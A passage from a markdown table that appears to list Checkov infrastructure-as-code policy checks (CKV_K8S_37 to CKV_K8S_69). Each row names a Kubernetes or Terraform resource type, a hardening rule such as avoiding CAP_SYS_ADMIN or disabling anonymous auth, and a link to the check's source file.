[MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7060 | CKV_K8S_37               | resource                         | ReplicationController                                                                            | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7061 | CKV_K8S_37               | resource                         | StatefulSet                                                                                      | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7062 | CKV_K8S_37               | resource                         | kubernetes_deployment                                                                            | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform               | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py)                                                                                |\n| 7063 | CKV_K8S_37               | resource                         | kubernetes_deployment_v1                                                                         | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform               | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py)                                                                                |\n| 7064 | CKV_K8S_37               | resource                         | kubernetes_pod                                                                                   | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform               | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py)                                                                                |\n| 7065 | CKV_K8S_37               | resource                         | kubernetes_pod_v1                                                                                | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform               | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py)                                                                                |\n| 7066 | CKV_K8S_38               | resource                         | CronJob                                                                                          | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                                      | Kubernetes              | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                                                      |\n| 7067 | CKV_K8S_38               | resource                         | DaemonSet                                                                                        | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                                      | Kubernetes              | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                                                      |\n| 7068 | CKV_K8S_38               | resource                         | Deployment                                                                                       | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                                      | Kubernetes              | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                                                      |\n| 7069 | CKV_K8S_38               | resource                         | Job                                                                                              | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                                      | Kubernetes              | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                                                      |\n| 7070 | CKV_K8S_38               | resource                         | Pod                                                                                              | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                                      | Kubernetes              | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                                                      |\n| 7071 | CKV_K8S_38               | resource                         | ReplicaSet                                                                                       | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                                      | Kubernetes              | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                                                      |\n| 7072 | CKV_K8S_38               | resource                         | ReplicationController                                                                            | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                                      | Kubernetes              | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                                                      |\n| 7073 | CKV_K8S_38               | resource                         | StatefulSet                                                                                      | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                                      | Kubernetes              | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                                                      |\n| 7074 | CKV_K8S_39               | resource                         | CronJob                                                                                          | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7075 | CKV_K8S_39               | resource                         | DaemonSet                                                                                        | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7076 | CKV_K8S_39               | resource                         | Deployment                                                                                       | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7077 | CKV_K8S_39               | resource                         | DeploymentConfig                                                                                 | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7078 | CKV_K8S_39               | resource                         | Job                                                                                              | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7079 | CKV_K8S_39               | resource                         | Pod                                                                                              | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7080 | CKV_K8S_39               | resource                         | PodTemplate                                                                                      | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7081 | CKV_K8S_39               | resource                         | ReplicaSet                                                                                       | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7082 | CKV_K8S_39               | resource                         | ReplicationController                                                                            | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7083 | CKV_K8S_39               | resource                         | StatefulSet                                                                                      | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                                                        |\n| 7084 | CKV_K8S_39               | resource                         | kubernetes_deployment                                                                            | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Terraform               | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py)                                                                  |\n| 7085 | CKV_K8S_39               | resource                         | kubernetes_deployment_v1                                                                         | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Terraform               | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py)                                                                  |\n| 7086 | CKV_K8S_39               | resource                         | kubernetes_pod                                                                                   | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Terraform               | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py)                                                                  |\n| 7087 | CKV_K8S_39               | resource                         | kubernetes_pod_v1                                                                                | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Terraform               | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py)                                                                  |\n| 7088 | CKV_K8S_40               | resource                         | CronJob                                                                                          | Containers should run as a high UID to avoid host conflict                                                                                                                                               | Kubernetes              | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                                                    |\n| 7089 | CKV_K8S_40               | resource                         | DaemonSet                                                                                        | Containers should run as a high UID to avoid host conflict                                                                                                                                               | Kubernetes              | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                                                    |\n| 7090 | CKV_K8S_40               | resource                         | Deployment                                                                                       | Containers should run as a high UID to avoid host conflict                                                                                                                                               | Kubernetes              | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                                                    |\n| 7091 | CKV_K8S_40               | resource                         | Job                                                                                              | Containers should run as a high UID to avoid host conflict                                                                                                                                               | Kubernetes              | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                                                    |\n| 7092 | CKV_K8S_40               | resource                         | Pod                                                                                              | Containers should run as a high UID to avoid host conflict                                                                                                                                               | Kubernetes              | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                                                    |\n| 7093 | CKV_K8S_40               | resource                         | ReplicaSet                                                                                       | Containers should run as a high UID to avoid host conflict                                                                                                                                               | Kubernetes              | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                                                    |\n| 7094 | CKV_K8S_40               | resource                         | ReplicationController                                                                            | Containers should run as a high UID to avoid host conflict                                                                                                                                               | Kubernetes              | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                                                    |\n| 7095 | CKV_K8S_40               | resource                         | StatefulSet                                                                                      | Containers should run as a high UID to avoid host conflict                                                                                                                                               | Kubernetes              | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                                                    |\n| 7096 | CKV_K8S_41               | resource                         | ServiceAccount                                                                                   | Ensure that default service accounts are not actively used                                                                                                                                               | Kubernetes              | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccount.py)                                                                                    |\n| 7097 | CKV_K8S_41               | resource                         | kubernetes_service_account                                                                       | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform               | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py)                                                                              |\n| 7098 | CKV_K8S_41               | resource                         | kubernetes_service_account_v1                                                                    | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform               | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py)                                                                              |\n| 7099 | CKV_K8S_42               | resource                         | ClusterRoleBinding                                                                               | Ensure that default service accounts are not actively used                                                                                                                                               | Kubernetes              | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py)                                                                      |\n| 7100 | CKV_K8S_42               | resource                         | RoleBinding                                                                                      | Ensure that default service accounts are not actively used                                                                                                                                               | Kubernetes              | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py)                                                                      |\n| 7101 | CKV_K8S_42               | resource                         | kubernetes_cluster_role_binding                                                                  | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform               | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py)                                                                |\n| 7102 | CKV_K8S_42               | resource                         | kubernetes_cluster_role_binding_v1                                                               | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform               | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py)                                                                |\n| 7103 | CKV_K8S_42               | resource                         | kubernetes_role_binding                                                                          | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform               | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py)                                                                |\n| 7104 | CKV_K8S_42               | resource                         | kubernetes_role_binding_v1                                                                       | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform               | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py)                                                                |\n| 7105 | CKV_K8S_43               | resource                         | CronJob                                                                                          | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7106 | CKV_K8S_43               | resource                         | DaemonSet                                                                                        | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7107 | CKV_K8S_43               | resource                         | Deployment                                                                                       | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7108 | CKV_K8S_43               | resource                         | DeploymentConfig                                                                                 | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7109 | CKV_K8S_43               | resource                         | Job                                                                                              | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7110 | CKV_K8S_43               | resource                         | Pod                                                                                              | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7111 | CKV_K8S_43               | resource                         | PodTemplate                                                                                      | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7112 | CKV_K8S_43               | resource                         | ReplicaSet                                                                                       | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7113 | CKV_K8S_43               | resource                         | ReplicationController                                                                            | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7114 | CKV_K8S_43               | resource                         | StatefulSet                                                                                      | Image should use digest                                                                                                                                                                                  | Kubernetes              | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                                                        |\n| 7115 | CKV_K8S_43               | resource                         | kubernetes_deployment                                                                            | Image should use digest                                                                                                                                                                                  | Terraform               | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py)                                                                                                  |\n| 7116 | CKV_K8S_43               | resource                         | kubernetes_deployment_v1                                                                         | Image should use digest                                                                                                                                                                                  | Terraform               | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py)                                                                                                  |\n| 7117 | CKV_K8S_43               | resource                         | kubernetes_pod                                                                                   | Image should use digest                                                                                                                                                                                  | Terraform               | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py)                                                                                                  |\n| 7118 | CKV_K8S_43               | resource                         | kubernetes_pod_v1                                                                                | Image should use digest                                                                                                                                                                                  | Terraform               | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py)                                                                                                  |\n| 7119 | CKV_K8S_44               | resource                         | Service                                                                                          | Ensure that the Tiller Service (Helm v2) is deleted                                                                                                                                                      | Kubernetes              | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerService.py)                                                                                                    |\n| 7120 | CKV_K8S_44               | resource                         | kubernetes_service                                                                               | Ensure that the Tiller Service (Helm v2) is deleted                                                                                                                                                      | Terraform               | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/TillerService.py)                                                                                              |\n| 7121 | CKV_K8S_44               | resource                         | kubernetes_service_v1                                                                            | Ensure that the Tiller Service (Helm v2) is deleted                                                                                                                                                      | Terraform               | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/TillerService.py)                                                                                              |\n| 7122 | CKV_K8S_45               | resource                         | CronJob                                                                                          | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7123 | CKV_K8S_45               | resource                         | DaemonSet                                                                                        | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7124 | CKV_K8S_45               | resource                         | Deployment                                                                                       | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7125 | CKV_K8S_45               | resource                         | DeploymentConfig                                                                                 | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7126 | CKV_K8S_45               | resource                         | Job                                                                                              | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7127 | CKV_K8S_45               | resource                         | Pod                                                                                              | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7128 | CKV_K8S_45               | resource                         | PodTemplate                                                                                      | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7129 | CKV_K8S_45               | resource                         | ReplicaSet                                                                                       | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7130 | CKV_K8S_45               | resource                         | ReplicationController                                                                            | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7131 | CKV_K8S_45               | resource                         | StatefulSet                                                                                      | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                                         | Kubernetes              | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                                              |\n| 7132 | CKV_K8S_49               | resource                         | ClusterRole                                                                                      | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Kubernetes              | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/WildcardRoles.py)                                                                                                    |\n| 7133 | CKV_K8S_49               | resource                         | Role                                                                                             | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Kubernetes              | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/WildcardRoles.py)                                                                                                    |\n| 7134 | CKV_K8S_49               | resource                         | kubernetes_cluster_role                                                                          | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Terraform               | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py)                                                                                              |\n| 7135 | CKV_K8S_49               | resource                         | kubernetes_cluster_role_v1                                                                       | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Terraform               | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py)                                                                                              |\n| 7136 | CKV_K8S_49               | resource                         | kubernetes_role                                                                                  | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Terraform               | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py)                                                                                              |\n| 7137 | CKV_K8S_49               | resource                         | kubernetes_role_v1                                                                               | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Terraform               | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py)                                                                                              |\n| 7138 | CKV_K8S_68               | resource                         | CronJob                                                                                          | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7139 | CKV_K8S_68               | resource                         | DaemonSet                                                                                        | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7140 | CKV_K8S_68               | resource                         | Deployment                                                                                       | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7141 | CKV_K8S_68               | resource                         | DeploymentConfig                                                                                 | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7142 | CKV_K8S_68               | resource                         | Job                                                                                              | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7143 | CKV_K8S_68               | resource                         | Pod                                                                                              | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7144 | CKV_K8S_68               | resource                         | PodTemplate                                                                                      | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7145 | CKV_K8S_68               | resource                         | ReplicaSet                                                                                       | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7146 | CKV_K8S_68               | resource                         | ReplicationController                                                                            | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7147 | CKV_K8S_68               | resource                         | StatefulSet                                                                                      | Ensure that the --anonymous-auth argument is set to false                                                                                                                                                | Kubernetes              | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                                                  |\n| 7148 | CKV_K8S_69               | resource                         | CronJob                                                                                          | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7149 | CKV_K8S_69               | resource                         | DaemonSet                                                                                        | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7150 | CKV_K8S_69               | resource                         | Deployment                                                                                       | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7151 | CKV_K8S_69               | resource                         | DeploymentConfig                                                                                 | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7152 | CKV_K8S_69               | resource                         | Job                                                                                              | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7153 | CKV_K8S_69               | resource                         | Pod                                                                                              | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7154 | CKV_K8S_69               | resource                         | PodTemplate                                                                                      | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7155 | CKV_K8S_69               | resource                         | ReplicaSet                                                                                       | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7156 | CKV_K8S_69               | resource                         | ReplicationController                                                                            | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                                                  |\n| 7157 | CKV_K8S_69               | resource                         | StatefulSet                                                                                      | Ensure that the --basic-auth-file argument is not set                                                                                                                                                    | Kubernetes              | 